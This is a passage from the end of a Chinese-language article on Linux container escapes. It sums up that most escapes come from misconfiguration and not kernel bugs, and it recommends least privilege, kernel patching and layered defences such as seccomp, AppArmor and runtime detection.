值得注意的是,这些技术中真正属于"内核漏洞"(第三层)的只有 Dirty Pipe 与 OverlayFS 两项,其余四项本质上都是"内核合法机制被滥用"(第一层配置 + 第二层设计假设)。这提示我们:

  1. 配置即安全——绝大多数逃逸源于特权容器、危险挂载、过度 capabilities。遵循最小权限原则可消除 90% 的攻击面。
  2. 隔离边界是内核给的,不是天然的——只要内核某条路径不感知 NS,隔离就形同虚设。持续关注 CVE 与内核补丁是必修课。
  3. 纵深防御不可或缺——准入控制、seccomp、AppArmor、运行时检测、内核加固需层层叠加,任何单点都可能被绕过。

容器安全不是"装上就能用"的产品,而是一套贯穿开发、部署、运行、检测全生命周期的工程实践。理解逃逸原理,正是构建这套实践的前提。


参考来源:CVE-2022-0492 / CVE-2022-0847 / CVE-2023-0386 官方公告与补丁、Linux 内核源码、Falco/Elastic/Datadog 官方安全规则库。

← 返回列表